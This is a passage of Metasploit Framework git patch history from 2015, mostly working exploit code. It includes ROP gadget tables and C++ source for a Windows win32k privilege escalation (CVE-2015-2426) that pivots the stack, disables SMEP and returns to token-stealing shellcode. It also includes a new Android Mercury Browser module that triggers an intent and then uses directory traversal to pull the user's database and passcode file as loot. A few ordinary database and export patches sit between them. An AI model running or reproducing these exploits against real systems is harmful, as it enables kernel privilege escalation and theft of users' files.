Metasploit3 < Msf::Exploit::Local 'mov_rax_r11_ret' => 0x7018e, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xee38f, # add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0xbc8f, # pop rsp # ret # 5c c3 - 'xchg_rax_rsp_adjust' => 0x189a3a, # xchg esp, eax # sar bh, cl # add rsp, 0x80 # pop rbx # ret # 94 1C 00 8B C3 48 83 c4 20 5b c3 + 'xchg_rax_rsp_adjust' => 0x189a3a, # xchg esp, eax # sbb al, 0 # mov eax, ebx # add rsp, 20h # pop rbx # ret # 94 1C 00 8B C3 48 83 c4 20 5b c3 'chwnd_delete' => 0x165010 # CHwndTargetProp::Delete } + when '6.3.9600.17630' + { + 'info_leak' => 0x3d200, + 'pop_rax_ret' => 0x19e9b, # pop rax # ret # 58 C3 + 'xchg_rax_rsp' => 0x6024, # xchg eax, esp # ret # 94 C3 + 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag + 'pop_rcx_ret' => 0x84f4f, # pop rcx # ret # 59 C3 + 'deref_rax_into_rcx' => 0xc3f7f, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 + 'mov_rax_into_rcx' => 0xc3f82, # mov [rcx], rax # ret # 48 89 01 C3 + 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3 + 'ret' => 0x14dc, # ret C3 + 'mov_rax_r11_ret' => 0x7034e, # mov rax, r11 # ret # 49 8B C3 C3 + 'add_rax_rcx_ret' => 0xed33b, # add rax, rcx # ret # 48 03 C1 C3 + 'pop_rsp_ret' => 0xbb93, # pop rsp # ret # 5c c3 + 'xchg_rax_rsp_adjust' => 0x17c78c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 + 'chwnd_delete' => 0x146EE0 # CHwndTargetProp::Delete + } + when '6.3.9600.17694' + { + 'info_leak' => 0x3d300, + 'pop_rax_ret' => 0x151f4, # pop rax # ret # 58 C3 + 'xchg_rax_rsp' => 0x600c, # xchg eax, esp # ret # 94 C3 + 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag + 'pop_rcx_ret' => 0x2cf10, # pop rcx # ret # 59 C3 + 'deref_rax_into_rcx' => 0xc3757, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 + 'mov_rax_into_rcx' => 0xc375a, # mov [rcx], rax # ret # 48 89 01 C3 + 'pop_rbx_ret' => 0x6682, # pop rbx # ret # 5B C3 + 'ret' => 0x6683, # ret C3 + 'mov_rax_r11_ret' => 0x7010e, # mov rax, r11 # ret # 49 8B C3 C3 + 'add_rax_rcx_ret' => 0xecd7b, # add rax, rcx # ret # 48 03 C1 C3 + 'pop_rsp_ret' => 0x71380, # pop rsp # ret # 5c c3 + 'xchg_rax_rsp_adjust' => 0x178c84, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 + 'chwnd_delete' => 0x1513D8 # CHwndTargetProp::Delete + } + when '6.3.9600.17796' + { + 'info_leak' => 0x3d000, + 'pop_rax_ret' => 0x19e4f, # pop rax # ret # 58 C3 + 'xchg_rax_rsp' => 0x5f64, # xchg eax, esp # ret # 94 C3 + 'allocate_pool' => 0x352220, # import entry nt!ExAllocatePoolWithTag + 'pop_rcx_ret' => 0x97a5e, # pop rcx # ret # 59 C3 + 'deref_rax_into_rcx' => 0xc3aa7, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 + 'mov_rax_into_rcx' => 0xc3aaa, # mov [rcx], rax # ret # 48 89 01 C3 + 'pop_rbx_ret' => 0x1B20, # pop rbx # ret # 5B C3 + 'ret' => 0x1B21, # ret C3 + 'mov_rax_r11_ret' => 0x7010e, # mov rax, r11 # ret # 49 8B C3 C3 + 'add_rax_rcx_ret' => 0xecf8b, # add rax, rcx # ret # 48 03 C1 C3 + 'pop_rsp_ret' => 0x29fd3, # pop rsp # ret # 5c c3 + 'xchg_rax_rsp_adjust' => 0x1789e4, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 + 'chwnd_delete' => 0x150F58 # CHwndTargetProp::Delete + + } when '6.3.9600.17837' { 'info_leak' => 0x3d800, @@ -140,23 +197,25 @@ class Metasploit3 < Msf::Exploit::Local 'mov_rax_r11_ret' => 0x94871, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xecbdb, # add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0xbd2c, # pop rsp # ret # 5c c3 - 'xchg_rax_rsp_adjust' => 0x15e84c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret + 'xchg_rax_rsp_adjust' => 0x15e84c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete' => 0x15A470 # CHwndTargetProp::Delete } when '6.3.9600.17915' { - 'pop_rax_ret' => 0x1A4EF, # 58 C3 - 'xchg_rax_rsp' => 0x62CC, # 94 C3 + 'info_leak' => 0x3d800, + 'pop_rax_ret' => 0x1A4EF, # pop rax # ret # 58 C3 + 'xchg_rax_rsp' => 0x62CC, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag - 'pop_rcx_ret' => 0x9765A, # 59 C3 - 'write_into_rcx' => 0xC364F, # 48 8B 00 48 89 01 C3 - 'pop_rbx_ret' => 0x14DB, # 5B C3 - 'ret' => 0x14Dc, # C3 - 'mov_rax_r11_ret' => 0x45013, # 49 8B C3 - 'add_rax_rcx_ret' => 0xECDCB, # 48 03 C1 C3 - 'mov_rsp_rax_ret' => 0, # 50 2D 20 00 48 8B 5C 24 08 48 8B 7C 24 10 8B C2 C3 - 'xchg_rax_rsp_adjust' => 0x34241a, # 94 d2 ff 48 81 c4 80 00 00 00 5b c3 - 'chwnd_delete' => 0x15A220 + 'pop_rcx_ret' => 0x9765A, # pop rcx # ret # 59 C3 + 'deref_rax_into_rcx' => 0xC364F, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 + 'mov_rax_into_rcx' => 0xC3652, # mov [rcx], rax # ret # 48 89 01 C3 + 'pop_rbx_ret' => 0x14DB, # pop rbx # ret # 5B C3 + 'ret' => 0x14DC, # ret # C3 + 'mov_rax_r11_ret' => 0x7060e, # mov rax, r11 # ret # 49 8B C3 C3 + 'add_rax_rcx_ret' => 0xECDCB, # add rax, rcx # 48 03 C1 C3 + 'pop_rsp_ret' => 0xbe33, # pop rsp # ret # 5c c3 + 'xchg_rax_rsp_adjust' => 0x15e5fc, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 + 'chwnd_delete' => 0x15A220 # CHwndTargetProp::Delete } else nil @@ -180,12 +239,23 @@ class Metasploit3 < Msf::Exploit::Local case version when '6.3.9600.17415' { - 'set_cr4' => 0x38a3cc, # 0F 22 E0 48 83 C4 28 C3 - 'allocate_pool_with_tag' => 0x2a3a50 + 'set_cr4' => 0x38a3cc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 + 'allocate_pool_with_tag' => 0x2a3a50 # ExAllocatePoolWithTag + } + when '6.3.9600.17630' + { + 'set_cr4' => 0x38A3BC, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 + 'allocate_pool_with_tag' => 0x2A3A50 # ExAllocatePoolWithTag + } + when '6.3.9600.17668' + { + 'set_cr4' => 0x38A3BC, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 + 'allocate_pool_with_tag' => 0x2A3A50 # ExAllocatePoolWithTag } when '6.3.9600.17936' { - 'set_cr4' => 0x3863bc # 0F 22 E0 48 83 C4 28 C3 + 'set_cr4' => 0x3863bc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 + 'allocate_pool_with_tag' => 0x29FA50 # ExAllocatePoolWithTag } else nil From 2c9734f178bf4dea188fcf1f3aac9a26b4c48bc8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 15 Sep 2015 14:54:05 -0500 Subject: [PATCH 0636/2172] Add exploit source --- .../CVE-2015-2426/dll/src/Exploit.cpp | 4 +- .../CVE-2015-2426/dll/src/Exploiter.cpp | 102 +++++++++++------- .../CVE-2015-2426/dll/src/Exploiter.h | 3 +- .../CVE-2015-2426/dll/src/Win32kLeaker.cpp | 6 +- 4 files changed, 71 insertions(+), 44 deletions(-) diff --git a/external/source/exploits/CVE-2015-2426/dll/src/Exploit.cpp b/external/source/exploits/CVE-2015-2426/dll/src/Exploit.cpp index fda42db885..4fcd61264a 100755 --- a/external/source/exploits/CVE-2015-2426/dll/src/Exploit.cpp +++ b/external/source/exploits/CVE-2015-2426/dll/src/Exploit.cpp @@ -42,9 +42,7 @@ VOID Exploit(LPVOID lpPayload) // First Stage: Leak ntoskrnl ExploiterRunFirstChain(); - // Compute actual base address of `ntoskrnl` from `ntoskrnl!ExAllocatePoolWithTag`. - ExAllocatePoolWithTag_offset = 0x2a3a50; - ntBaseAddr = *(ULONGLONG *)(PayloadBase + 0x100) - ExAllocatePoolWithTag_offset; + ntBaseAddr = ExploiterGetNtBase(); // Second Stage: elevate privileges ExploiterSetupSecondChain(win32kBaseAddr, ntBaseAddr); diff --git a/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.cpp b/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.cpp index 409cffea0b..81fa6b3954 100755 --- a/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.cpp +++ b/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.cpp @@ -4,7 +4,24 @@ static const int AccelArrayBase = 0x43000000; static const int HwndArrayBase = 0x44000000; static const int DcomArrayBase = 0x41000000; -const int PayloadBase = 0x42000000; +static const int PayloadBase = 0x42000000; +// Not using const to make the compiler to store +// the variables in .data +static ULONGLONG win32kPopRaxRet = 0xdeedbeefdeedbe01; +static ULONGLONG win32kXchgRaxRsp = 0xdeedbeefdeedbe02; +static ULONGLONG win32kExAllocatePoolWithTag = 0xdeedbeefdeedbe03; +static ULONGLONG win32kPopRcxRet = 0xdeedbeefdeedbe04; +static ULONGLONG win32kDefRaxIntoRcx = 0xdeedbeefdeedbe05; +static ULONGLONG win32kWriteRaxIntoRcx = 0xdeedbeefdeedbe06; +static ULONGLONG win32kPopRbxRet = 0xdeedbeefdeedbe07; +static ULONGLONG win32kRet = 0xdeedbeefdeedbe08; +static ULONGLONG win32kMovRaxR11Ret = 0xdeedbeefdeedbe09; +static ULONGLONG win32kAddRaxRcxRet = 0xdeedbeefdeedbe0a; +static ULONGLONG win32kPopEspRet = 0xdeedbeefdeedbe0b; +static ULONGLONG win32kXchgRaxRspAdjust = 0xdeedbeefdeedbe0c; +static ULONGLONG win32kCHwndDelete = 0xdeedbeefdeedbe0d; +static ULONGLONG ntSetCr4 = 0xdeedbeefdeedbe0e; +static ULONGLONG ntExAllocatePoolWithTag = 0xdeedbeefdeedbe0f; typedef NTSTATUS(__stdcall *FuncCreateDCompositionHwndTarget) ( _In_ HANDLE hWnd, @@ -198,8 +215,8 @@ VOID ExploiterSetupFirstChain(ULONGLONG win32kBaseAddr) { // This sequence (RET + POP) shifts RSP by a total of 16 bytes, which is the // start of ROP chain 1. // - *(ULONGLONG *)(PayloadBase + 0x5000) = win32kBaseAddr + 0x19fab; // pop rax # ret <-- RAX - *(ULONGLONG *)(PayloadBase + 0x5008) = win32kBaseAddr + 0x6121; // xchg rax, rsp # ret (pivot) <-- this is where (1st) CALL jumps to. + *(ULONGLONG *)(PayloadBase + 0x5000) = win32kBaseAddr + win32kPopRaxRet; // pop rax # ret <-- RAX + *(ULONGLONG *)(PayloadBase + 0x5008) = win32kBaseAddr + win32kXchgRaxRsp; // xchg rax, rsp # ret (pivot) <-- this is where (1st) CALL jumps to. // // --- End stack pivot and adjustment --- @@ -209,11 +226,11 @@ VOID ExploiterSetupFirstChain(ULONGLONG win32kBaseAddr) { // (fake) vTable. And 0x42000100 will hold the (leaked) address of // `ntoskrnl!ExAllocatePoolWithTag`. // - *(ULONGLONG *)(PayloadBase + 0x5010) = win32kBaseAddr + 0x19fab; // pop rax # ret (RAX is source for our write) - *(ULONGLONG *)(PayloadBase + 0x5018) = win32kBaseAddr + 0x352220; // pop into rax (pointer to leaked address of `ntoskrnl!ExAllocatePoolWithTag` that win32k imports) - *(ULONGLONG *)(PayloadBase + 0x5020) = win32kBaseAddr + 0x98156; // pop rcx # ret (RCX is destination for our write) - *(ULONGLONG *)(PayloadBase + 0x5028) = PayloadBase + 0x100; // pop into rcx (memory to write leaked address) - *(ULONGLONG *)(PayloadBase + 0x5030) = win32kBaseAddr + 0xc432f; // mov rax, [rax] # mov [rcx], rax # ret (write gadget to [RCX]) + *(ULONGLONG *)(PayloadBase + 0x5010) = win32kBaseAddr + win32kPopRaxRet; // pop rax # ret (RAX is source for our write) + *(ULONGLONG *)(PayloadBase + 0x5018) = win32kBaseAddr + win32kExAllocatePoolWithTag; // pop into rax (pointer to leaked address of `ntoskrnl!ExAllocatePoolWithTag` that win32k imports) + *(ULONGLONG *)(PayloadBase + 0x5020) = win32kBaseAddr + win32kPopRcxRet; // pop rcx # ret (RCX is destination for our write) + *(ULONGLONG *)(PayloadBase + 0x5028) = PayloadBase + 0x100; // pop into rcx (memory to write leaked address) + *(ULONGLONG *)(PayloadBase + 0x5030) = win32kBaseAddr + win32kDefRaxIntoRcx; // mov rax, [rax] # mov [rcx], rax # ret (write gadget to [RCX]) // (**) Second access // @@ -228,42 +245,46 @@ VOID ExploiterSetupFirstChain(ULONGLONG win32kBaseAddr) { // 0x42005100 into RBX. 0x42005100 is yet another (unused) memory // region that we control. We will construct a new fake vTable at 0x42005100. // - *(ULONGLONG *)(PayloadBase + 0x5038) = win32kBaseAddr + 0x14db; // pop rbx # ret - *(ULONGLONG *)(PayloadBase + 0x5040) = PayloadBase + 0x5100; // this will clobber the existing vTable object pointer (RBX) --------------------- - // | - // Setup the new fake vTable at 0x42005100. We don't do anything interesting | - // with the second call. We just want it to return nicely. | - *(ULONGLONG *)(PayloadBase + 0x5100) = PayloadBase + 0x5110; // double-dereference to get to gadget (actual ROP chain | - *(ULONGLONG *)(PayloadBase + 0x5108) = PayloadBase + 0x5110; // (arbitrary pointer to pointer) continues here) | - *(ULONGLONG *)(PayloadBase + 0x5110) = win32kBaseAddr + 0x6e314; // (`RET` gadget) | - // | - // Resume execution. Restore original stack pointer. | - *(ULONGLONG *)(PayloadBase + 0x5048) = win32kBaseAddr + 0x7018e; // mov rax, r11 # ret (register holding a value close to original stack pointer) <- - *(ULONGLONG *)(PayloadBase + 0x5050) = win32kBaseAddr + 0x98156; // pop rcx # ret - *(ULONGLONG *)(PayloadBase + 0x5058) = 0x8; // pop into rcx - *(ULONGLONG *)(PayloadBase + 0x5060) = win32kBaseAddr + 0xee38f; // add rax, rcx # ret (adjust the stack pointer) - *(ULONGLONG *)(PayloadBase + 0x5068) = win32kBaseAddr + 0x1f8c1; // push rax # sub eax, 8b480020h # pop rsp # and al, 8 # mov rdi, qword ptr [rsp+10] # mov eax, edx # ret + *(ULONGLONG *)(PayloadBase + 0x5038) = win32kBaseAddr + win32kPopRbxRet; // pop rbx # ret + *(ULONGLONG *)(PayloadBase + 0x5040) = PayloadBase + 0x5100; // this will clobber the existing vTable object pointer (RBX) ------------------------------- + // | + // Setup the new fake vTable at 0x42005100. We don't do anything interesting | + // with the second call. We just want it to return nicely. | + *(ULONGLONG *)(PayloadBase + 0x5100) = PayloadBase + 0x5110; // double-dereference to get to gadget (actual ROP chain | + *(ULONGLONG *)(PayloadBase + 0x5108) = PayloadBase + 0x5110; // (arbitrary pointer to pointer) continues here) | + *(ULONGLONG *)(PayloadBase + 0x5110) = win32kBaseAddr + win32kRet; // (`RET` gadget) | + // | + // Resume execution. Restore original stack pointer. | + *(ULONGLONG *)(PayloadBase + 0x5048) = win32kBaseAddr + win32kMovRaxR11Ret; // mov rax, r11 # ret (register holding a value close to original stack pointer) <- + *(ULONGLONG *)(PayloadBase + 0x5050) = win32kBaseAddr + win32kPopRcxRet; // pop rcx # ret + *(ULONGLONG *)(PayloadBase + 0x5058) = 0x8; // pop into rcx + *(ULONGLONG *)(PayloadBase + 0x5060) = win32kBaseAddr + win32kAddRaxRcxRet; // add rax, rcx # ret (adjust the stack pointer) + *(ULONGLONG *)(PayloadBase + 0x5068) = win32kBaseAddr + win32kPopRcxRet; // pop rcx # ret + *(ULONGLONG *)(PayloadBase + 0x5070) = PayloadBase + 0x5088; // pop into rcx + *(ULONGLONG *)(PayloadBase + 0x5078) = win32kBaseAddr + win32kWriteRaxIntoRcx; // mov [rcx], rax # ret (write gadget to [RCX])-- + *(ULONGLONG *)(PayloadBase + 0x5080) = win32kBaseAddr + win32kPopEspRet; // pop rsp # ret | + //*(ULONGLONG *)(PayloadBase + 0x5088) <---------------------------------------------------------------------------------------- } // Setup the ROP chain 2, Disable SMEP and return to token stealing shellcode. // Now we reset the values in our fake vTable (0x42005000), with a new // ROP chain. This gets called later in the second trigger. VOID ExploiterSetupSecondChain(ULONGLONG win32kBaseAddr, ULONGLONG ntBaseAddr) { - *(ULONGLONG *)(PayloadBase + 0x5000) = win32kBaseAddr + 0x189a3a; // xchg eax, esp # sbb al, 0 # mov eax, ebx # add rsp, 0x20 # pop rbx # ret - *(ULONGLONG *)(PayloadBase + 0x5008) = 0x41414141; // filler - *(ULONGLONG *)(PayloadBase + 0x5010) = 0x41414141; // filler - *(ULONGLONG *)(PayloadBase + 0x5018) = 0x41414141; // filler - *(ULONGLONG *)(PayloadBase + 0x5020) = 0x41414141; // filler - *(ULONGLONG *)(PayloadBase + 0x5028) = win32kBaseAddr + 0x19fab; // pop rax # ret - *(ULONGLONG *)(PayloadBase + 0x5030) = 0x406f8; // pop into rax, cr4 value - *(ULONGLONG *)(PayloadBase + 0x5038) = ntBaseAddr + 0x38a3cc; // mov cr4, rax # add rsp, 0x28 # ret (SMEP disabling gadget) - *(ULONGLONG *)(PayloadBase + 0x5040) = 0x41414141; // filler - *(ULONGLONG *)(PayloadBase + 0x5048) = 0x41414141; // filler - *(ULONGLONG *)(PayloadBase + 0x5050) = 0x41414141; // filler - *(ULONGLONG *)(PayloadBase + 0x5058) = 0x41414141; // filler - *(ULONGLONG *)(PayloadBase + 0x5060) = 0x41414141; // filler - *(ULONGLONG *)(PayloadBase + 0x5068) = PayloadBase; // return to userland and win! - *(ULONGLONG *)(PayloadBase + 0x5070) = win32kBaseAddr + 0x165010; // CHwndTargetProp::Delete(void) + *(ULONGLONG *)(PayloadBase + 0x5000) = win32kBaseAddr + win32kXchgRaxRspAdjust; // xchg eax, esp # sbb al, 0 # mov eax, ebx # add rsp, 0x20 # pop rbx # ret + *(ULONGLONG *)(PayloadBase + 0x5008) = win32kBaseAddr + win32kRet; // filler + *(ULONGLONG *)(PayloadBase + 0x5010) = win32kBaseAddr + win32kRet; // filler + *(ULONGLONG *)(PayloadBase + 0x5018) = win32kBaseAddr + win32kRet; // filler + *(ULONGLONG *)(PayloadBase + 0x5020) = win32kBaseAddr + win32kRet; // filler + *(ULONGLONG *)(PayloadBase + 0x5028) = win32kBaseAddr + win32kPopRaxRet; // pop rax # ret + *(ULONGLONG *)(PayloadBase + 0x5030) = 0x406f8; // pop into rax, cr4 value + *(ULONGLONG *)(PayloadBase + 0x5038) = ntBaseAddr + ntSetCr4; // mov cr4, rax # add rsp, 0x28 # ret (SMEP disabling gadget) + *(ULONGLONG *)(PayloadBase + 0x5040) = win32kBaseAddr + win32kRet; // filler + *(ULONGLONG *)(PayloadBase + 0x5048) = win32kBaseAddr + win32kRet; // filler + *(ULONGLONG *)(PayloadBase + 0x5050) = win32kBaseAddr + win32kRet; // filler + *(ULONGLONG *)(PayloadBase + 0x5058) = win32kBaseAddr + win32kRet; // filler + *(ULONGLONG *)(PayloadBase + 0x5060) = win32kBaseAddr + win32kRet; // filler + *(ULONGLONG *)(PayloadBase + 0x5068) = PayloadBase; // return to userland and win! + *(ULONGLONG *)(PayloadBase + 0x5070) = win32kBaseAddr + win32kCHwndDelete; // CHwndTargetProp::Delete(void) } // First trigger (ROP chain 1) @@ -291,4 +312,9 @@ VOID ExploiterRunSecondChain() { for (INT i = 0; i < 1000; i++) { DestroyWindow(pHwnds[i]); } +} + +// Compute actual base address of `ntoskrnl` from `ntoskrnl!ExAllocatePoolWithTag`. +ULONGLONG ExploiterGetNtBase() { + return *(ULONGLONG *)(PayloadBase + 0x100) - ntExAllocatePoolWithTag; } \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.h b/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.h index a769328bca..36749e3dfd 100755 --- a/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.h +++ b/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.h @@ -1,8 +1,6 @@ #ifndef EXPLOITER_H #define EXPLOITER_H -extern const int PayloadBase; - VOID ExploiterInit(); VOID ExploiterDoFengShui(); VOID ExploiterSetupFirstChain(ULONGLONG); @@ -10,4 +8,5 @@ VOID ExploiterSetupSecondChain(ULONGLONG, ULONGLONG); VOID ExploiterRunFirstChain(); VOID ExploiterRunSecondChain(); VOID ExpoiterCleanUp(); +ULONGLONG ExploiterGetNtBase(); #endif \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.cpp b/external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.cpp index 47c7df8665..0732c88726 100755 --- a/external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.cpp +++ b/external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.cpp @@ -1,9 +1,13 @@ #include <Windows.h> #include "Win32kLeaker.h" +#include <intrin.h> extern "C" VOID MyGetTextMetricsW(HDC, LPTEXTMETRICW, DWORD); static const int InfoLeakBuffer = 0x40000000; +// Don't make a const so the compiler stores it on .data +static ULONGLONG InfoLeakOffset = 0xdeedbeefdeedbe00; + // Leak the base address of `win32k.sys`. This infoleak is slightly different from // the standalone infoleak because we need to handle the position-independent nature // of this exploit. @@ -38,7 +42,7 @@ ULONGLONG LeakWin32kAddress() { win32kBaseAddr = ((ULONGLONG)hi << 32) | lo; // Adjust for offset to get base address of `win32k.sys`. - win32kBaseAddr -= 0x0003cf00; + win32kBaseAddr = win32kBaseAddr - InfoLeakOffset; // Check: Base address of `win32k.sys` should be of the form // 0xFFFFFxxx`00xxx000. From 382e01d6805c440b10bfc3e0bda1d1dc3e14db68 Mon Sep 17 00:00:00 2001 From: Fernando Arias <fernando_arias@rapid7.com> Date: Tue, 15 Sep 2015 15:09:26 -0500 Subject: [PATCH 0637/2172] Add comments and use run scope on match MSP-13119 --- lib/msf/core/db_manager/exploit_attempt.rb | 23 +++++++++++----------- metasploit-framework-db.gemspec | 2 +- 2 files changed, 13 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/db_manager/exploit_attempt.rb b/lib/msf/core/db_manager/exploit_attempt.rb index 6fe4dfb6b9..c2138a956d 100644 --- a/lib/msf/core/db_manager/exploit_attempt.rb +++ b/lib/msf/core/db_manager/exploit_attempt.rb @@ -179,19 +179,11 @@ module Msf::DBManager::ExploitAttempt end + # Create a MetasploitDataModels::AutomaticExploitation::Match result for the given vuln + # @option opts [Integer] :run_id + # @return [void] def create_match_result_for_vuln(vuln, opts) run_id = opts[:run_id] - - # match = MetasploitDataModels::AutomaticExploitation::Match.joins( - # MetasploitDataModels::AutomaticExploitation::Match.join_association(:match_set), - # MetasploitDataModels::AutomaticExploitation::MatchSet.join_association(:runs) - # ).where( - # MetasploitDataModels::AutomaticExploitation::Run[:id].eq(run_id) - # ).last - - require 'pry' - binding.pry - match = MetasploitDataModels::AutomaticExploitation::Match.by_run_id(run_id).last # If no match found for run, create a run if a vuln has a match @@ -206,6 +198,10 @@ module Msf::DBManager::ExploitAttempt end end + # Create a MetasploitDataModels::AutomaticExploitation::Match result with a success or failure state + # @option opts [MetasploitDataModels::AutomaticExploitation::Match] :match + # @option opts [MetasploitDataModels::AutomaticExploitation::Run] :run + # @return [void] def create_match_result(opts) if opts[:session_id] state = MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED @@ -220,6 +216,11 @@ module Msf::DBManager::ExploitAttempt ) end + # Create a MetasploitDataModels::AutomaticExploitation::Run for the given vuln + # @option vuln [Mdm::Vuln] :vuln + # @option opts [Mdm::Workspace] :workspace + # @option opts [String] :username + # @return [ MetasploitDataModels::AutomaticExploitation::Match, MetasploitDataModels::AutomaticExploitation::Run] def create_run_for_vuln(vuln,opts) wspace = opts[:workspace] || workspace username = opts[:username] diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec index f287048c7d..82f98f047b 100644 --- a/metasploit-framework-db.gemspec +++ b/metasploit-framework-db.gemspec @@ -31,7 +31,7 @@ Gem::Specification.new do |spec| # Metasploit::Credential database models spec.add_runtime_dependency 'metasploit-credential', '1.0.1' # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '1.2.5' + spec.add_runtime_dependency 'metasploit_data_models', '1.2.7' # depend on metasploit-framewrok as the optional gems are useless with the actual code spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" # Needed for module caching in Mdm::ModuleDetails From 63bb0cd0ec8a2498b6af763891d712e6774dabca Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 16 Sep 2015 00:48:57 -0500 Subject: [PATCH 0638/2172] Add Android Mercury Browser Intent URI Scheme & Traversal --- .../server/android_mercury_parseuri.rb | 118 ++++++++++++++++++ 1 file changed, 118 insertions(+) create mode 100644 modules/auxiliary/server/android_mercury_parseuri.rb diff --git a/modules/auxiliary/server/android_mercury_parseuri.rb b/modules/auxiliary/server/android_mercury_parseuri.rb new file mode 100644 index 0000000000..e30363a59a --- /dev/null +++ b/modules/auxiliary/server/android_mercury_parseuri.rb @@ -0,0 +1,118 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Android Mercury Browser Intent URI Scheme and Directory Traversal Vulnerability', + 'Description' => %q{ + This module exploits an unsafe intent URI scheme and directory traversal found in + Android Mercury Browser version 3.2.3. The intent allows the attacker to invoke a + private wifi manager activity, which starts a web server for Mercury on port 8888. + The webserver also suffers a directory traversal that allows remote access to + sensitive files. + }, + 'Author' => + [ + 'rotlogix', # Vuln discovery, PoC, etc + 'sinn3r' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://rotlogix.com/2015/08/23/exploiting-the-mercury-browser-for-android/' ] + ] + )) + end + + def send_http_request(rhost, opts={}) + res = nil + cli = Rex::Proto::Http::Client.new(rhost, 8888) + + begin + cli.connect + req = cli.request_cgi(opts) + res = cli.send_recv(req) + rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, + OpenSSL::SSL::SSLError, ::Timeout::Error => e + return nil + ensure + cli.close + end + + res + end + + def get_xml_files(rhost) + base_dir = '../../../../data/data/com.ilegendsoft.mercury' + + ['mercury_database.db', '/shared_prefs/passcode.xml'].each do |item| + opts = { + 'method' => 'GET', + 'uri' => '/dodownload', + 'vars_get' => { + 'fname' => "#{base_dir}#{item}" + }, + 'headers' => { + 'Referer' => "http://#{rhost}:8888/storage/emulated/0/Download/" + } + } + + print_status("Retrieving #{item}") + res = send_http_request(rhost, opts) + next unless res + print_status("Server response: #{res.code}") + p = store_loot('android.mercury.file', 'application/octet-stream', rhost, res.body) + print_good("#{item} saved as: #{p}") + end + end + + def is_android?(user_agent) + user_agent.include?('Android') + end + + def get_html + %Q| + <html> + <head> + <meta charset="utf-8" /> + </head> + <body> + <script> + location.href="intent:#Intent;SEL;component=com.ilegendsoft.mercury/.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end"; + </script> + </body> + </html> + | + end + + def on_request_uri(ci, req) + print_status("Requesting: #{req.uri}") + + unless is_android?(req.headers['User-Agent']) + print_error('Target is not Android') + send_not_found(cli) + return + end + + print_status('Sending HTML...') + html = get_html + send_response_html(cli, html) + + print_status("Attempting to connect to: http://#{cli.peerhost}:8888/") + sleep(2) + get_xml_files(cli.peerhost) + end + + def run + exploit + end + +end From ef043cebc3b82fbe027e69217cb48292c25644ea Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 16 Sep 2015 02:59:11 -0700 Subject: [PATCH 0639/2172] Always use the stringified host->address during export --- lib/msf/core/db_export.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/core/db_export.rb b/lib/msf/core/db_export.rb index 78003f8f8c..6b1c93504b 100644 --- a/lib/msf/core/db_export.rb +++ b/lib/msf/core/db_export.rb @@ -313,6 +313,8 @@ class Export # Host attributes h.attributes.each_pair do |k,v| + # Convert IPAddr -> String + v = v.to_s if k == 'address' el = create_xml_element(k,v) report_file.write(" #{el}\n") # Not checking types end From bdd90655e47d694124c8efb07bbe956465178703 Mon Sep 17 00:00:00 2001 From: Daniel Jensen 